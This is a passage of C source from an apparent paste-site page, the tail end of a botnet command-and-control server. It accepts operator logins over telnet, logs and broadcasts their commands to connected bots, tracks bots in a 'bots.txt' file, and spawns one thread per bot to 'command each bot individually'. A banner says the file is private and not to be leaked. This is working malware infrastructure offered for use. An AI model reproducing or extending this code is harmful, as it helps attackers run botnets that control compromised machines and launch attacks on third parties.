  682. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  683. fclose(logFile);
  684. broadcast(buf, thefd, usernamez);
  685. memset(buf, 0, 2048);
  686. }
  687.  
  688. end: // cleanup dead socket
  689. managements[thefd].connected = 0;
  690. close(thefd);
  691. managesConnected--;
  692. }
  693. void *telnetListener(int port)
  694. {
  695. int sockfd, newsockfd;
  696. socklen_t clilen;
  697. struct sockaddr_in serv_addr, cli_addr;
  698. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  699. if (sockfd < 0) perror("ERROR opening socket");
  700. bzero((char *) &serv_addr, sizeof(serv_addr));
  701. serv_addr.sin_family = AF_INET;
  702. serv_addr.sin_addr.s_addr = INADDR_ANY;
  703. serv_addr.sin_port = htons(port);
  704. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  705. listen(sockfd,5);
  706. clilen = sizeof(cli_addr);
  707. while(1)
  708. {
  709. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  710. if (newsockfd < 0) perror("ERROR on accept");
  711. pthread_t thread;
  712. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  713. }
  714. }
  715.  
  716. int main (int argc, char *argv[], void *sock)
  717. {
  718. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  719. int s, threads, port;
  720. struct epoll_event event;
  721. if (argc != 4)
  722. {
  723. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  724. exit (EXIT_FAILURE);
  725. }
  726. port = atoi(argv[3]);
  727. printf("\x1b[34mPrivate file,\x1b[31m if you have it, \x1b[33mDO \x1b[32mNOT \x1b[34mLEAK\x1b[0m\n");
  728. telFD = fopen("bots.txt", "a+");
  729. threads = atoi(argv[2]);
  730. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  731. if (listenFD == -1) abort ();
  732. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  733. if (s == -1) abort ();
  734. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  735. if (s == -1)
  736. {
  737. perror ("listen");
  738. abort ();
  739. }
  740. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  741. if (epollFD == -1)
  742. {
  743. perror ("epoll_create");
  744. abort ();
  745. }
  746. event.data.fd = listenFD;
  747. event.events = EPOLLIN | EPOLLET;
  748. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  749. if (s == -1)
  750. {
  751. perror ("epoll_ctl");
  752. abort ();
  753. }
  754. pthread_t thread[threads + 2];
  755. while(threads--)
  756. {
  757. pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  758. }
  759. pthread_create(&thread[0], NULL, &telnetListener, port);
  760. while(1)
  761. {
  762. broadcast("PING", -1, "GOOGLE V2");
  763. sleep(60);
  764. }
  765. close (listenFD);
  766. return EXIT_SUCCESS;
  767. }
Advertisement
Add Comment
Please, Sign In to add comment